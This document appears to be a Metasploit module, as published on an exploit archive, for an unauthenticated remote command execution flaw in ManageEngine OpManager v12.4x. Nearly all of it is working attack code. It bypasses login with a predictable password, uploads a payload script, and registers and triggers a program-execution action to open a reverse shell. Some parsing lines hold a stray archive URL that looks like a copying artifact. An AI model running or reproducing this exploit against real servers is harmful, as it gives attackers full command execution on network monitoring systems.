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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution", 'Description'=> %q( This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions. It performs authentication bypass and executes commands on the server. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License'=> MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 8060, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload'=> { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget'=> 0)) register_options( [ OptString.new('USERNAME',[true, 'OpManager Username', 'admin']), OptString.new('TARGETURI',[true, 'Base path for ME application', '/']) ],self.class) end def check_platform(host, port, cookie) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'showTile.do'), 'cookie'=> cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(host, port, cookie, platform, @dir) end def file_up(host, port, cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'rhost' => host, 'rport' => port, 'method' => 'POST', 'data'=> data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(host, port, cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(host, port, cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method'=> 'POST', 'rhost' => host, 'rport' => port, 'uri' =>normalize_uri(target_uri.path, 'adminAction.do'), 'cookie'=> cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(host, port, cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(host, port, cookie, action) send_request_cgi( 'method'=> 'GET', 'rhost' => host, 'rport' => port, 'uri' =>normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie'=> cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false') appm_adr = res.body.split('<iframe src="https://www.exploit-db.com/exploits/47229/')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) # Password check vulnerability in Java Script :/ if res.body.include?('j_password.value=username') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) appm_adr = res.body.split('<iframe src="https://www.exploit-db.com/exploits/47229/')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies res = send_request_cgi( 'method'=> 'POST', 'rhost' => am_host, 'rport' => am_port, 'cookie' => @cookie, 'uri' =>normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['USERNAME'] + "@opm", 'submit' => 'Login' } ) if res && res.code == 302 or 303 print_good("Authentication bypass was successfully performed.") res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'cookie'=> @cookie, 'method'=> 'GET', 'uri' =>normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(am_host, am_port, @cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end end |
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